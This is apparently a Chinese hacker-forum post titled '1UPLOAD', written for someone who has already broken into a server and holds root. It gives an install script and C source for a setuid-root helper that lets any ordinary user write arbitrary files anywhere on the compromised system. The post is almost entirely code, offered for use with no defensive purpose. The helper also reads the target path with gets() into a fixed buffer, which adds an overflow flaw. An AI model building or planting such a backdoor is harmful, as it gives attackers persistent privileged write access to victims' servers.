1UPLOAD
侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件!
root状态下,运行Install后,
upload将允许普通用户上载文件至任何目录下。
# chmod 755 install
#./install
$Content$nbsp;more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$Content$nbsp;more upload.c
#include <stdio.h>
main()
{
char filename[48];
printf( "This program will upload up.txt ASCII file to specified file\n" );
printf( "XXX Copyright Reserved\n" );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}
*
|